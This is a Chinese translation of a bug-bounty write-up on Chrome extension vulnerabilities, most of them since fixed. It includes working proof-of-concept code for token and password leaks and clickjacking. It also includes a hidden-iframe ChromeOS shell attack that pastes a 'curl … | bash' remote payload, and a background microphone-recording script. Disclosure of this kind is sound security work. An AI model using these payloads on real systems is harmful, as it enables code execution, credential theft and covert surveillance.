原文鏈接:https://ndevtk.github.io/writeups/2023/08/18/extensions/
譯者:知道創宇404實驗室翻譯組

寫在前面

帖子標題中的獎勵總額不包括本文中包含的其他人的漏洞,但包括來自Proton與谷歌擴展不同的漏洞。這可能不反映實際收到的款項。

借助來自Google的500美元漏洞研究補助金,測試Google開發的擴展程序的安全性。

備注:

更多相關文章內容,點擊深入研究站點隔離(第2部分)

相關背景信息簡介,點擊:https://groups.google.com/a/chromium.org/g/chromium-extensions/c/0ei-UCHNm34/m/lDaXwQhzBAAJ

方法

創建一個目錄,該目錄已自動同步和美化 chrome 網上應用商店中托管的 google 瀏覽器擴展的源代碼。

  • 搜索關鍵字,如.onMessage.onConnect.onRequest.onMessageExternal,并審核消息是否發送到后臺頁面。

  • 確保沒有敏感信息存儲在chrome.storage中,可以使用chrome.storage.local.get(null, console.log);chrome.storage.sync.get(null, console.log);來進行查看。

  • 搜索externally_connectablecontent_scripts查找不安全來源,如http://*.google.comhttps://storage.googleapis.com

  • 檢查可訪問的消息偵聽器postMessage并驗證允許的發件人。

  • 嘗試搜索所有XSS漏洞點,如scripting.executeScriptdocument.writeinnerHTML =location.href =open()

  • CodeQL

  • 檢查web_accessible_resources點擊劫持,這里的腳本也將繞過站點的CSP(內容安全策略)。

Application Launcher For Drive中的RCE漏洞

漏洞已修復,獎勵$3133.70

URL: https://chrome.google.com/webstore/detail/application-launcher-for/lmjegmlicamnimmfhcmpkclmigmmcbeh

桌面驅動器: https://www.google.com/drive/download/

允許不安全來源的寬松規則: "externally_connectable": { "matches": [ "://.google.com/*" ] }

在任何 google 子域(包括不安全的子域)上運行以下命令http://。以下代碼在受害者上運行 VBS 腳本,從而導致 RCE。

let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {name: 'com.google.drive.nativeproxy'});
let request = 'native_opener/v2/3/' + btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]'); api.postMessage(request);

攻擊場景

同一網絡上的攻擊者,或者具有任何 google 子域的瀏覽器擴展/XSS 漏洞,可以向代理發送消息,以打開他們在Google Drive中同步的任何要共享的文件。

未設置“網絡標記”,詳情點擊:https://textslashplain.com/2016/04/04/downloads-and-the-mark-of-the-web/

通過將externally_connectable更改為僅允許https://docs.google.com/*https://drive.google.com/*,瀏覽器擴展使用<all_urls>仍然可以獲得與之相關的RCE。

用于獲取 RCE 的演示瀏覽器擴展:https://ndevtk.github.io/writeups/RCE.zip , 這可以通過添加到https來修復,詳情點擊:https://ndevtk.github.io/writeups/extensionRCE.mp4

Perfetto UI 泄露敏感瀏覽器日志

已修復,獎勵$5000

URL: https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine

Perfetto UI 是 Google 的 Chrome 擴展,用于記錄瀏覽器痕跡,該擴展程序與 ui.perfetto.dev 通信以記錄瀏覽器痕跡。擴展程序特別強大,因為它經過硬編碼以接受 Chrome ( ExtensionIsTrusted) 的特殊處理。

然而,從manifest.json我們可以看到它還可以連接到storage.googleapis.com,這是一個用于存儲任何人都可以創建的任意Google Cloud存儲桶的域。

    "externally_connectable": {
        "matches": [
            "*://localhost/*",
            "*://127.0.0.1/*",
            "https://*.perfetto.dev/*",
            "https://storage.googleapis.com/*"
        ]
    }

這意味著在storage.googleapis.com上托管頁面的任何人都可以與擴展程序進行完全通信,以記錄和讀取瀏覽器追蹤信息。這些追蹤信息包含Chrome日志、IPC流、網絡日志以及其他150多個類別的信息。日志中的敏感值應該被刪除,但是這種過濾并不完美,許多敏感值都被泄露(如Chrome流量的URL和響應頭,其中包含了來自"Authorization"頭部的訪問令牌等敏感信息)。

復現步驟:

  1. 安裝 Perfetto UI 擴展
  2. 打開https://storage.googleapis.com/perfetto-ui-vuln-demo/vuln-poc.html

PoC本質上是在iframe中加載Perfetto UI前端的副本,然后使用JavaScript配置它并單擊“開始”按鈕。15秒后,隱藏的iframe被顯示出來,顯示了記錄的數據。PoC頁面可以訪問所有這些數據。要輕松查看泄露的數據,可以單擊左側菜單中的“轉換為.json”。

這是頁面如何擴展通信的示例:

port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'}); 

攻擊場景

  1. 攻擊者向已安裝Perfetto UI 擴展的受害者發送一個頁面鏈接。
  2. 一旦受害者打開鏈接,攻擊者的頁面將記錄并保存受害者的瀏覽器日志(其中包含瀏覽器的“netlog”及其他信息,如訪問令牌)。

這個問題已從externally_connectable中通過移除https://storage.googleapis.com/來修復。詳情點擊:https://github.com/google/perfetto/commit/493ab156ac9f2610f91f0d5df9a7a793b6539988

通過使用Screen Reader擴展繞過SOP

已修復,獎勵$5000

URL: https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn

Screen Reader是谷歌的輔助功能擴展。其源代碼可在Chromium存儲庫中找到。

它公開了各種可以調用的命令。問題在于消息監聽器不會檢查傳入消息的來源 其中一個命令是clickNodeRef通過選擇器注入,可以使用任意選擇器單擊 DOM 中的任何元素。

channel = new MessageChannel();
win.postMessage("cvox.PortSetup", "*", [channel.port2]);
channel.port1.postMessage(JSON.stringify({ cmd: 'clickNodeRef', args: [{ cvoxid: '"], ' + selector + ', *[x="' }] }));

因此,引用任何其他跨源頁面的惡意頁面可以單擊該頁面上的元素,即繞過同源策略。這允許以一種簡單且無限制的方式在任何網頁上執行點擊劫持,甚至是那些具有框架保護的網頁(帶有 COOP 的頁面除外)。

這可用于代表用戶在其他網站上執行操作。此 PoC 展示了一種濫用方式:一種完全自動化的方式,在用戶不知情的情況下授予敏感的 OAuth 權限。

復現步驟:

  1. 打開 https://vuln-chrome-vox-extension.websec.blog/poc.html
  2. 單擊頁面

幾秒后,在 https://myaccount.google.com/permissions 中可以看到PoC應用程序已訪問Google帳戶。

除了此漏洞之外,此擴展還可能存在其他安全問題。例如,以下代碼不會清理用戶輸入;如果被利用,這可能會導致 UXSS。(我們還沒有分析這個,但它看起來也很脆弱)

var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;

攻擊場景

  1. 攻擊者向使用Screen Reader輔助性擴展的受害者發送一個鏈接。
  2. 受害者打開頁面,攻擊在后臺運行。
  3. 攻擊者現在可以訪問受害者的帳戶。

這個問題已通過移除clickNodeRef方法來修復。

使用Tag Assistant Legacy繞過SOP

已修復,獎勵$5000

降級為需要受損的渲染器,也許CPU漏洞能起作用

URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk

chrome.runtime.sendMessage({message: 'LoadScript', url: 'http://192.168.1.1'}, console.log);

另一種方式

新的安全檢查有一個允許的來源列表,但有開放式重定向問題。但這只適用于application/javascript內容類型。

chrome.runtime.sendMessage({message: 'LoadScript', url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'}, console.log);

攻擊場景

受損的渲染器可以繞過同源策略。

使用Tag Assistant Legacy擴展泄露 URL

已修復,獎勵$6267.4

URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk

將 JS 執行上下文更改為 Tag Assistant Legacy 的內容腳本,并執行以下命令:

chrome.runtime.sendMessage({message: "GetRecordedIssues", tabId: "<TabID>"}, a => {
    console.log(a.statusInfos[0].page.url);
});

另一種方式(不同的報告)

將 JS 執行上下文更改為 Tag Assistant Legacy 的內容腳本,并執行以下命令:

let port = chrome.extension.connect({name: "popup"});
port.onMessage.addListener((a) => {console.log(a.url)});
port.postMessage({message: "Status", tabId: "<TabID>"});

攻擊場景

受損的渲染器可能會泄露訪問過的 URL,其中可能包含敏感數據,例如 access_token。

127.0.0.1:8090 上的 XSS

已被接受并棄用

URL: https://chrome.google.com/webstore/detail/coding-with-chrome/becloognjehhioodmnimnehjcibkloed

為了隔離,該擴展在本地主機上托管用戶控制的代碼,但它不會驗證消息的發送者或使用來源null

let x = window.open('http://127.0.0.1:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> {     console.log(a.data)    x.postMessage({name: "__exec__", value:"alert(origin)"}, "*")     }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)

攻擊場景

攻擊者控制的網站可以在本地主機上獲取 XSS,這可能受到應用程序的信任,因為它引用了用戶本地計算機https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06

通過 Secure Shell 擴展進行有限的 URL 欺騙

部分修復,未得到獎勵

URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd

可以加載或嵌入頁面chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh來使當前標簽頁全屏,而不需要用戶交互。

影響:

  • 能夠在用戶離開設備時進入全屏模式(不會顯示全屏消息)
  • 能夠使全屏退出命令無效。
 // Allow users to bookmark links that open as a window.
  const openas = params.get('openas');
  switch (openas) {
    case 'window': {
      // Delete the 'openas' string so we don't get into a loop.  We want to
      // preserve the rest of the query string when opening the window.
      params.delete('openas');
      const url = new URL(document.location.toString());
      url.search = params.toString();
      openNewWindow(url.href).then(() => globalThis.close);
      return;
    }

    case 'fullscreen':
    case 'maximized':
      chrome.windows.getCurrent((win) => {
        chrome.windows.update(win.id, {state: openas});
      });
      break;
  }

重復進入全屏模式的問題已通過移除opener引用來修復,詳情點擊: https://chromium-review.googlesource.com/c/apps/libapps/+/4823645

使用Form Troubleshooter擴展繞過SOP

已修復,不是官方谷歌應用程序

URL: https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh

Form Troubleshooter 擴展是 Google Chrome Labs 的一個項目。

該擴展向所有頁面添加內容腳本,該腳本以當前文檔的 DOM 樹進行響應,它接受任何引用該窗口的頁面的消息。

window.addEventListener('message', async (event) => {
    if (event.data?.message === 'iframe message') {
        const messageType = event.data?.data?.type;
        if (messageType === 'inspect') {
            sendPostMessageResponse(event, await getDocumentTree(document));
        }
        [...]
    }
});

這意味著這個頁面可以獲取它引用的任何其他頁面的文檔樹。

復現步驟:

1.打開 https://example.com
2.運行

onmessage = console.log;
x=window.open('https://facebook.com')
setTimeout(() => {
 x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);

3.注意到文檔樹已泄露。

攻擊場景

  1. 攻擊者向已安裝Form Troubleshooter擴展的受害者發送一個帶有此負載的頁面鏈接。
  2. 一旦受害者打開鏈接,攻擊者的頁面將能夠獲取任何沒有顯式Cross-Origin-Opener-Policy標頭(通過window.open)或防止被框架化(iframe)的網頁的文檔樹。

這個問題已通過添加來源檢查進行了修復 ,詳情點擊:https://github.com/GoogleChromeLabs/form-troubleshooter/commit/f67dc76e304dfa29b6be16725287c1b84a27eabe

Tag Assistant for Conversions Beta中的URL泄露

部分修復,不太可能涉及用戶交互

URL: https://chrome.google.com/webstore/detail/tag-assistant-for-convers/llpfnmnallbompdmklfkcibfpcfpncdd

通過擴展彈出窗口單擊“開始”按鈕,然后轉到“https://example.org/?secret 在攻擊者控制的網站內容腳本的上下文中”。

chrome.runtime.sendMessage({messageType: 6}, tabInfo => { for (let page in tabInfo.pages) { console.log(tabInfo.pages[page].info.url); } });

另一種方式

存在導航泄露

chrome.runtime.onMessage.addListener(e => { console.log(JSON.stringify(e)) });

攻擊場景

受損的渲染器可以泄露已訪問的URL,其中可能包含敏感數據(如訪問令牌),以及其他數據(如Cookie名稱)。

上下文菜單中的長描述

不太可能涉及用戶交互

URL: https://chrome.google.com/webstore/detail/long-descriptions-in-cont/ohbmencljkleiedahijfkagnmmhbilgp

“上下文菜單中的長描述”是谷歌提供的輔助性擴展。它添加了一個上下文菜單項,該菜單項將打開一個新標簽頁,以顯示網站提供的URL。URL的內容沒有限制,這可能導致安全風險。

復現步驟:

  1. 安裝 https://chrome.google.com/webstore/detail/long-descriptions-in-cont/ohbmencljkleiedahijfkagnmmhbilgp
  2. 打開 https://vuln-long-desc-extension.websec.blog/poc.html
<body longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
    <h1 style="pointer-events: none;">Right click and select "Open Long Description In New Tab"</h1>
</body>

3.單擊右鍵并選擇“在新標簽頁中打開長描述”。

攻擊場景

  1. 受害者打開攻擊者的網站并點擊上下文菜單項
  2. 將創建一個帶有“sec-fetch-site: none”的任意URL的新選項卡,該選項卡可被濫用來鏈接完整的漏洞利用,例如:

基本原理

對于需要渲染器利用的錯誤,我們通常為僅需要單個用戶交互(即單擊)的錯誤提供經濟獎勵。這是因為需要受害者進行多次用戶交互的錯誤通常不會與渲染器漏洞一起使用(由于攻擊可能不成功,渲染器漏洞被浪費的風險更大)。

我們還研究了提供的另外2個攻擊場景,通過導航到javascript: URI并使用渲染器漏洞來實現UXSS。

提到的漏洞已經由Chrome修復。因此,我們認為這個漏洞不可能導致UXSS,通過使用渲染器漏洞打開下載的 html 文件來讀取本地文件。

要執行這種攻擊,需要以下步驟:

下載惡意 HTML 文件。要求用戶右鍵單擊并點擊“在新選項卡中打開詳細描述”。這將打開在步驟 1 中下載的惡意 HTML 文件,它現在可以讀取其他文件。這意味著除了步驟2中的多個用戶交互要求之外,受害者還可以看到步驟1中下載的惡意文件。因此,我們認為成功攻擊的可能性進一步減小。

UXSS 使用 Gerrit FE Dev Helper 和受損的渲染器

不是官方 Google 應用程序

URL: https://chrome.google.com/webstore/detail/gerrit-fe-dev-helper/jimgomcnodkialnpmienbomamgomglkd/

  1. 安裝擴展
  2. 打開 https://example.com/
  3. 打開 DevTools 控制臺并選擇“Gerrit FE Dev Helper”上下文
  4. 運行
    chrome.storage.sync.set({rules: [{"destination": "alert(window.origin)","disabled": false,"isNew": false,"operator": "injectJSCode","target": ""}]})
    // Now open a tab (https://google.com) and click the extension action icon

這也可以通過chrome.runtime.sendMessage完成。

攻擊場景

如果受害者訪問具有受損渲染器(可以訪問內容腳本)的網站并在那里啟用擴展,該網站將能夠繞過同源策略。

這是 Google 為前端 Gerrit 開發人員提供的擴展。詳情點擊: https://gerrit.googlesource.com/gerrit-fe-dev-helper/

AMP Readiness Tool

不是官方谷歌應用程序

URL: https://chrome.google.com/webstore/detail/amp-readiness-tool/fadclbipdhchagpdkjfcpippejnekimg

window.onclick = () => {
 open('https://www.google.com');
 setTimeout(() => {
  chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, e => { console.log(e.html) });
 }, 3000);
}

攻擊場景

受損的渲染器可以繞過同源策略。

Web Vitals中的URL泄露

已修復,不是官方谷歌應用,但在web.dev上被標記為應用程序

URL: https://chrome.google.com/webstore/detail/web-vitals/ahfhijdlegdabablpippeagghigmibma

chrome.storage.local.get(null, results => { for (let hash in results) { console.log(results[hash].location); } });

ChromeVox存在一個類似的問題,但從未得到修復。詳情點擊:https://bugs.chromium.org/p/chromium/issues/detail?id=1016535#c23

攻擊場景

受損的渲染器可能會泄露訪問過的 URL,其中可能包含敏感數據,例如 access_token。

此問題已通過 https://github.com/GoogleChrome/web-vitals-extension/commit/5187dbddcdea7886009f937344a7d4c0b4590598 得到修復。

Chrome Reporting Extension中的站點使用數據泄漏

已接受,未獲獎勵

URL: https://chrome.google.com/webstore/detail/chrome-reporting-extensio/emahakmocgideepebncgnmlmliepgpgb

此擴展需要設置才能正常工作:在HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy中創建DWORD report_user_browsing_data,值為 1

在受攻擊者控制的站點上,運行以下內容:

chrome.storage.local.get('activeSites', e => { for (let url in JSON.parse(e.activeSites)) console.log(url) });

攻擊場景

受損的渲染器可能會泄露訪問過的 URL(來源 + 路徑名),足以泄露未列出的 Google 文檔 ID。

通過Save to Google Drive擴展繞過同源策略

已接受,未獲獎勵

URL: https://chrome.google.com/webstore/detail/save-to-google-drive/gmbmikajjgmnabiglmofipeabaddhgne

chrome.storage.sync該擴展程序存儲了受損渲染器的文件存儲位置的文件夾 ID ;如果將其設置為“帶有鏈接”并更改為攻擊者控制的值,則可能會泄露他們的文件夾。

這只能在內容腳本被注入后發生,當用戶單擊擴展圖標或直接從瀏覽器擴展使用 upload.html 時,就會發生這種情況。

保存攻擊者選擇的頁面

chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>通過將action id aid從image-entire更改為html,它會將頁面的源代碼泄露到該文件夾。這可以通過帶有 Tabs API 的瀏覽器擴展來利用。

欺騙上下文菜單來誘騙用戶泄露意外的 URL。

<img src="https://github.com/opensearch.xml">

單擊右鍵并保存圖像到Drive,該元素可以與鴨子圖像重疊。潛在的修復方法:

  • 檢查圖像的內容類型
  • 除非圖像位于同一站點(包括重定向),否則不包含憑據。

攻擊場景

攻擊者可以利用這個漏洞來繞過同源策略(SOP)。

通過 Secure Shell 擴展進行 ChromeOS RCE

已修復,不太可能進行用戶交互

URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd

操作系統:ChromeOS(普通或開發者模式)。開發者模式允許訪問系統shell,普通模式僅允許預定義的命令。

需要安裝 Google 的Secure Shell 擴展加上舊版本它們擁有超過 100 萬用戶。

該擴展程序公開html/nassh.html為可通過網絡訪問的資源,可用于訪問 Crosh(Chrome OS shell),并且可以不受限制地嵌入任何網頁。這樣,惡意網站就可以在用戶不知情的情況下讓用戶與 shell 進行交互。

需要一些用戶交互,但是可以通過例如將其作為游戲的一部分來使用戶不易察覺。

復現步驟:

  1. 確保已安裝Secure Shell 擴展
  2. 打開 poc.html
  3. 按照頁面中的說明進行操作(Ctrl+Shift+V、Enter、Ctrl+Shift+V、Enter)
  4. 請注意cat /etc/passwd(或任意 Linux 命令)已被執行

或者,可以單擊右鍵(而不是 Ctrl+Shift+V)點擊 poc-rightclick.html

如果啟用了開發者模式,將shell命令運行并提供對系統shell的訪問權限。在常規用戶模式下,Crosh shell允許執行任何預定義的命令,這些命令可能被用來獲取對系統 shell 的訪問權限。

注意:PoC 在啟用開發模式時效果最佳。在常規模式下,shell 命令將失敗,但問題仍然會出現。

另一個潛在的攻擊媒介是連接到本地網絡中通常具有默認憑據的設備,例如:html/nassh.html#root@192.168.1.1

poc.html:

<!doctype html>
<html>
<head>
<style>
html, body { font-family: sans-serif; overflow: hidden; }
#croshFrame {
  position: absolute;
  top: 0;
  left: 0;
  width: 100vw;
  height: 100vh;
  opacity: 0.000000001;
  pointer-events: none;
}
#croshFrame.show { opacity: 0.5; }
#croshFrame.enablePointerEvents { pointer-events: auto; }
#instructions {
  font-size: 2em;
  font-weight: bold;
  text-align: center;
}
#inputElem { opacity: 0.000000001; }
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>(Frame will autoshow sometime around the last step. Use ?show to show iframe on page load. Use ?danger to run remote bash script.)</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem">
<iframe id="croshFrame"></iframe>
<script>

var showFrame = () => {
  croshFrame.classList.add('show');
}

var shouldShow = window.location.search.indexOf('show') > -1;

if (shouldShow) {
  showFrame();
}

var setClipboard = async (text) => {
  const type = "text/plain";
  const blob = new Blob([text], { type });
  const data = [new ClipboardItem({ [type]: blob })];

  await navigator.clipboard.write(data);
}

var setupPayload1 = () => {
  console.info('Setup payload 1');
  var setPayload1 = async () => {
    console.info('Setting payload 1');
    var clipboardSuccess = false;
    try { 
      var dangerZone = window.location.search.indexOf('danger') > -1;
      if (dangerZone) {
        // Use payload below if you trust me (does nothing malicious)
        await setClipboard('shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash');
      } else {
        await setClipboard('shell || cat /etc/passwd');
      }
      clipboardSuccess = true;
    } catch(e) {
       instructions.innerText = 'Please press space or any letter key.';
    }
    if (clipboardSuccess) {
      window.removeEventListener('keydown', setPayload1);
      croshFrame.src = 'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
      instructions.innerText = 'Please wait...';
    }
  }
  window.addEventListener('keydown', setPayload1);
}

var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
  // First load isn't a usable prompt
  frameLoadCount++;
  if (frameLoadCount >= 2) {
    setTimeout(() => {
      // Slight delay to allow crosh to initialize and be ready for input
      // Ctrl+J can also be used instead of Enter.
      instructions.innerText = 'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
      setTimeout(() => { showFrame(); croshFrame.classList.add('enablePointerEvents'); }, 8000);
    }, 500);
  }
});

setupPayload1();

// Focus page so we get user activation with first valid keypress every time
inputElem.focus();

</script>
</body>
</html>

在啟用 Linux 的生產模式(不可shell用)下,確認了以下影響。

攻擊者可以打開Termina虛擬機中的Linux shell或容器中的Linux shell。一旦攻擊者獲得了Linux shell,就可以在單個復制/粘貼步驟中運行任意shell腳本。使用腳本或運行任意容器可以減少如下所示的步驟數(這些步驟用于手動重現,因此有更詳細的步驟)。

要在 Termina VM 中獲取 Linux shell,請在 crosh 中運行:vmc start termina 要在容器中獲取 Linux shell,請在 crosh 中運行:(vmc container termina test-t1 --timeout 120請注意,vmc container常需要在物理Chromebook上,命令通常需要更高的超時,結果可能有所不同)

惡意負載可以延遲運行或在后臺運行,因此當用戶仍在攻擊者頁面上時它們不一定會發生。這可能會使某些攻擊更難以檢測和阻止。有關示例,請參閱“捕獲麥克風輸出”。

運行任意容器

任意容器可以運行攻擊者命令,無需進一步的用戶輸入,這可以節省一步復制/粘貼操作并在更復雜的攻擊中節省設置時間(因為攻擊者不需要使用其工具設置默認容器)。

我還沒有準備好自定義映像,因此以Arch Linux映像為例,但這可以是由攻擊者控制的服務器+容器。

基于以下步驟在 crosh 中重現步驟:https ://wiki.archlinux.org/title/Chrome_OS_devices/Crostini

  • 在 crosh中,運行 vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120

運行上述命令后,容器將在目標設備上運行。請注意,由于 Arch 沒有 ChromeOS 訪客工具,因此將看到一條錯誤消息,但這可以忽略。如果使用 crosh 進入虛擬機vsh termina,然后lxc list在虛擬機中運行,將看到 Arch 容器正在運行。還可以通過在虛擬機中運行lxc exec arch -- bash來進一步驗證這一點。

在瀏覽器中打開已知路徑的任意URL或文件

在crosh中的復制步驟:

  1. 在crosh中運行 vmc container termina penguin
  2. 在容器內運行 /opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt

這繞過了彈窗阻止程序運行,并繞過阻止網頁打開文件URL的限制。

可以打開任意的http(s)、文件、data、ftp、mailto URL。允許的URL協議包括:https://source.chromium.org/chromium/chromium/src/+/main:ash/dbus/url_handler_service_provider.cc;l=21;drc=4de6dab8daa43278023a25ee25695479bc8afdbe

速率限制為每 15 秒 10 次調用:https://source.chromium.org/chromiumos/chromiumos/codesearch/+/refs/heads/main:src/platform2/vm_tools/cicerone/container_listener_impl.cc;l=223; drc=913d3602cf086d51d7056a575f24306f7de210ce

從 MyFiles 中的已知目錄讀取/寫入

如果我們知道MyFiles中的目錄名稱,就可以對用戶文件進行任意讀寫。默認目錄是“Downloads”文件夾,其中包含許多用戶的敏感數據。

可用于竊取數據或篡改已安裝目錄中的文件。

Crosh 中的復現步驟:

  • 在crosh中運行 vmc share termina Downloads

這會在虛擬機中的/mnt/shared/MyFiles/Downloads/路徑下掛載目錄,同時也在容器中的/mnt/chromeos/MyFiles/Downloads/路徑下掛載目錄。

一旦掛載,攻擊者可以通過在虛擬機或容器中運行的代碼來訪問這些目錄(由攻擊者選擇)。

路徑遍歷和其他不良路徑在此處檢查:https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main :src/platform2/vm_tools/seneschal/service.cc;l=729;drc=ba85dbf6f981966bf5c7c1bce53e819e7d617666

Service::SharePath()上是用 with 調用的SharePathRequest::MY_FILES(請參閱此處的調用:https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main

捕獲麥克風輸入

在crosh中的復制步驟:

  1. 在crosh中運行 vmc start termina --enable-audio-capture
  2. 在crosh中運行 vmc container termina test-t1 --timeout 120(可能需要嘗試多次,直到容器運行;錯誤消息可能會誤導)
  3. 在容器中,運行 sudo apt install sox
  4. 在容器中,運行 rec -t alsa

完成第4步后,觀察終端中顯示的麥克風輸入的音頻條,ChromeOS還會顯示一個通知。

請注意,如果使用攻擊者控制的容器,容器內命令可以自動化(請參考“運行任意容器”部分)。

ChromeOS顯示一個通知,上面寫著“Linux正在使用您的麥克風”,幾秒鐘后會自動隱藏。麥克風訪問的唯一持續指示是通知區域的麥克風圖標,以及在打開區域通知本身。

當用戶單擊麥克風訪問通知時,會打開設置應用程序到Linux頁面。然而,用戶不能在此屏幕上撤消對麥克風訪問權限,因為盡管容器有訪問權限,但麥克風訪問的切換仍將處于關閉狀態(這似乎也應該在設置應用程序中修復)。停止這一切的唯一方法是停止容器、虛擬機,或者對于典型用戶來說,重啟整個系統。可以通過在crosh中運行 vmc stop termina 來停止它。

Termina 虛擬機不支持攝像頭輸入。但根據代碼分析,似乎ARC(Android)、PluginVM(Parallels)和Borealis(Steam)虛擬機支持攝像頭。如果目標系統中有這些支持的虛擬機之一,而且可以通過crosh訪問,攻擊者可能也能夠訪問攝像頭(盡管這尚未得到確認,但根據代碼分析似乎是可能的)。

作為在后臺執行此操作的演示,可以將第3步和第4步替換為托管在 https://aogarantiza.com/chromium/crosh-payload-2.txt 的Bash腳本(攻擊者可以使用 curl ... | bash 來運行)。

#!/bin/bash

run_payload() {
  sleep 10
  sudo apt install sox
  sleep 10
  rec -t alsa
}

echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &

設置Wireguard配置

不確定攻擊者是否有用

能夠通過 croshwireguard命令設置 Wireguard VPN 配置。但是,在 GUI 中切換“自動配置網絡設置”之前,無法使 DNS 正常工作。也許有更多配置Wireguard經驗的人可以找出如何使這對攻擊者有用。如果它有效,我認為這可能允許攻擊者通過他們的Wireguard服務器進行流量隧道傳輸,并潛在地劫持DNS。

在Wireguard連接時不會顯示通知,但在斷開連接時會顯示通知。

通過向擴展的content_security_policy添加frame-ancestors 'self';來修復此問題。詳情點擊:https://chromium-review.googlesource.com/c/apps/libapps/+/4603751

在Secure Shell擴展中進行內容注入 / 受CSP防止的XSS

已分配,未激活

URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd

  1. 過https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd下載安全 shell 擴展
  2. 轉到 chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=eyJzdHlsZSI6ImJhY2tncm91bmQtaW1hZ2U: (可以直接完成,也可以通過WAR繞過完成)
  3. 查看cat

url 中的 args 進行 base64 解碼并設置為 html 嵌入標記的屬性。雖然由于CSP的限制阻止了JavaScript,但它仍然允許CSShttps://bugs.chromium.org/p/chromium/issues/detail?id=1345685

從Proton Pass泄露密碼

獲得200美元獎勵,不是谷歌應用,但我還是放在這里了

URL: https://chrome.google.com/webstore/detail/proton-pass-free-password/ghmbeldphafepmbegfdlkpapadhbakde

由于站點隔離,攻擊者控制的進程(內容腳本)不獲得對不同站點密碼的訪問權限,因為它將是進程隔離的。

然而,Proton Pass不會驗證EXPORT_REQUEST消息的發送者,從而導致渲染器錯誤以未加密的形式泄露所有用戶密碼。

在受攻擊者控制的網站上的內容腳本上下文中執行以下操作:

// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;

// Dump database
chrome.runtime.sendMessage({type: 'EXPORT_REQUEST', payload: { encrypted: false } }, result => { console.log(atob(result.data)) });

盡管chrome.storage.local中的數據共享給了使用與攻擊者控制網站相同進程的內容腳本,但這些數據以加密形式存儲,因此不太有用。不過,這可以通過在后臺進程中直接使用localStorage API來改進。因為我想我還看到了一個訪問令牌:

MV3 Service Worker 不允許 localStorage,但還有其他選擇。詳情點擊:https://developer.chrome.com/docs/extensions/migration/to-service-workers/#convert-localstorage

未經驗證的修復,詳情點擊:https://github.com/search? q=repo%3AProtonMail%2FWebClients+SECBTY-628&type=commits

UXSS by Google Optimize 擴展

已廢棄,獎勵500美元

URL: https://chrome.google.com/webstore/detail/google-optimize/bhdplaindhdkiflmbfbciehdccfhegci

攻擊概要:

  1. Google Optimize有一個”全局Javascript”功能。
  2. 攻擊者可以設置此功能以在他們選擇的網站上執行惡意Javascript代碼。
  3. 攻擊者邀請用戶(安裝了Google Optimize擴展的用戶)訪問他們的帳戶,這會導致此代碼在重定向到任何站點后執行。當單擊藍色編輯按鈕時,UXSS 就會運行。見下圖:

有效負載的令牌存儲在 chrome.storage.local 中,因此如果渲染器受到損害,則不需要用戶交互(獲得 WAI)。詳情點擊:https://www.youtube.com/watch?v=h1zTOBpMjmw

Screenwise Meter

不是Google 官方應用

URL: https://chrome.google.com/webstore/detail/screenwise-meter/hbmclfdibpffglligfnnppjocdlhgjbb

  • 登錄CSRF(泄露瀏覽器活動)
  • 通過chrome.runtime.sendMessage進行WAR繞過
  • 通過chrome.storage.local泄露授權令牌

Mandiant Advantage | 威脅情報

未報告,Google Cloud的一部分

URL: https://chrome.google.com/webstore/detail/mandiant-advantage-threat/aghmgfkjfbkcockededacdhemkpgdcko

通過泄露slackWebhook, teamsWebhook,token到受損的渲染器chrome.storage.local

Playstation 密碼重置令牌泄露

未報告,Alesandro 無法購入

URL: https://www.playstation.com/

